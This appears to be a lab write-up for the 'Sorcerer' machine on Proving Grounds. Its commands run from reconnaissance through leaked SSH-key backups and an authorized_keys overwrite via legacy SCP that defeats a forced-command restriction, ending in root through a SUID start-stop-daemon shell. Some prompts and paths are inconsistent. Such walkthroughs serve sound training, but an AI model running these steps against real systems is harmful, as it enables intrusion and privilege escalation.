Skip to content

Sorcerer Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Sorcerer exposes a login-protected web app on an unusual port whose public backup archives leak an SSH private key locked down by a forced-command restriction in authorized_keys. Bypassing that restriction with legacy SCP gives a shell as max, and a SUID start-stop-daemon binary hands over root.

Reconnaissance

Nmap

Scan all ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH
80/tcp   open  http    nginx
111/tcp  open  rpcbind
2049/tcp open  nfs     (no exports available)
7742/tcp open  http    nginx (login-protected)
8080/tcp open  http    Apache Tomcat
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH, two HTTP services, rpcbind, and an NFS export with nothing shared. Port 7742 is login-protected, so brute force its directories.

Web enumeration on port 7742

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP:7742 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
/default/    (Status: 200)  default page
/zipfiles/   (Status: 200)  directory listing
Explain command
-w Wordlist to brute force with.

/zipfiles/ is an open directory listing user backup archives.

Backup archive disclosure

List the directory.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:7742/zipfiles/
francis.zip
max.zip
miriam.zip
sofia.zip

Download and extract max.zip.

┌──(kali㉿kali)-[~]
└─$ wget http://$TARGET_IP:7742/zipfiles/max.zip
┌──(kali㉿kali)-[~]
└─$ unzip max.zip
home/max/.ssh/id_rsa
home/max/.ssh/authorized_keys

The archive holds max’s passphrase-less SSH private key and an authorized_keys entry restricted with a forced command.

no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAA...== max@sorcerer

The command= directive forces every SSH session through scp_wrapper.sh, blocking an interactive shell.

Exploitation

SCP command-restriction bypass

SCP operations still pass through the wrapper, so overwrite authorized_keys itself to drop the restriction. Strip the forced-command prefix locally first.

┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ sed -i 's/^.*ssh-rsa/ssh-rsa/' authorized_keys

Upload the stripped file using the legacy SCP protocol, which the wrapper still permits.

┌──(kali㉿kali)-[~]
└─$ scp -O -i id_rsa authorized_keys max@$TARGET_IP:/home/max/.ssh/authorized_keys
authorized_keys    100%  410   1.2KB/s   00:00
Explain command
-O Force the legacy SCP protocol instead of SFTP, which still passes through the restricted command wrapper.

The restriction is gone. SSH in directly.

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa max@$TARGET_IP
max@sorcerer:~$ id
uid=1003(max) gid=1003(max) groups=1003(max)

Full shell as max. local.txt sits in /home/dennis/local.txt. A leftover backup file in the home directory also leaks Tomcat Manager credentials, though they lead nowhere further since the path to root runs through a SUID binary instead.

┌──(kali㉿kali)-[~]
└─$ cat ~/tomcat-users.xml.bak
<user username="tomcat" password="$TOMCAT_PASSWORD" roles="manager-gui"/>

Privilege Escalation

SUID start-stop-daemon (GTFOBins)

Search for SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -4000 -type f 2>/dev/null
/usr/sbin/start-stop-daemon
/usr/bin/sudo
/usr/bin/su

start-stop-daemon is SUID. Per GTFOBins, it can start an arbitrary program while preserving the effective UID.

┌──(kali㉿kali)-[~]
└─$ /usr/sbin/start-stop-daemon -n foo -S -x /bin/sh -- -p
# id
uid=1003(max) gid=1003(max) euid=0(root) groups=1003(max)
Explain command
-p Tell the spawned shell to preserve the effective UID instead of dropping privileges.

The preserved effective UID gives a root shell.

References